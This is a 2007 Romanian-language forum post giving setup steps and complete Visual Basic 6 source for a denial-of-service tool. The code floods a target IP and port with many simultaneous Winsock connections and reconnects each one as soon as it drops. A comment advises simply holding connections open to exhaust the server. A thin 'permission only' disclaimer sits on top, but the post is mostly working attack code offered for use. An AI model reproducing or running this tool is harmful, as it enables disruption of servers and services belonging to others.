DusT3r Posted June 21, 2007 Report Share Posted June 21, 2007 5 TextBos primu cu nume TxtIp ptr IP al doilea TxtPort pentru port al treilea TxTConnections al patrulea TxtLive ptr activi al 5 lea cu nume TxtLog pentru Detaliile ddosurlui- 2 Command Button primu ptr Start cu nume de Cmd Start si al doilea ptr Exit cu Command1- si un timer cu nume Timer1 si interval 500si punetzi codu asta 'I DO NOT RECOMEND THAT YOU USE THIS PROGRAM EXCEPT ON SERVERS WHERE YOU HAVE PERMISSION TO USE IT'USING DoS PROGRAMS IS CONSIDERED LAME, I ONLY WROTE THIS AS AN EXAMPLE ON HOW VUNRABLE MANY SERVERS ARE.Private Sub CmdStart_Click()For intI = 1 To Val(Me.TxtConnections)Load Me.Winsock1(intI)Me.Winsock1(intI).Connect Me.TxtIP, TxtPort.TextNext intIEnd SubPrivate Sub Command1_Click()EndEnd SubPrivate Sub Timer1_Timer()TxtLive.Text = Winsock1.Count - 1End SubPrivate Sub Winsock1_Close(Index As Integer)Txtlog.Text = Txtlog.Text & vbNewLine & "Winsock Lost"Winsock1(Index).CloseWinsock1(Index).Connect TxtIP.Text, TxtPort.TextTxtLive.Text = TxtLive.Text - 1End SubPrivate Sub Winsock1_Connect(Index As Integer)Dim data1 As StringTxtLive.Text = Winsock1.Countdata1 = "GET / HTTP/1.0" & vbNewLine & vbNewLine 'works better if you don't actualy request, but just hog the server with connections'Winsock1(Index).SendData data1'Timer1.Enabled = TrueEnd SubPrivate Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)Dim Recived As StringWinsock1(Index).GetData RecivedTxtlog.Text = Txtlog.Text & RecivedEnd Sub Quote Link to comment Share on other sites More sharing options...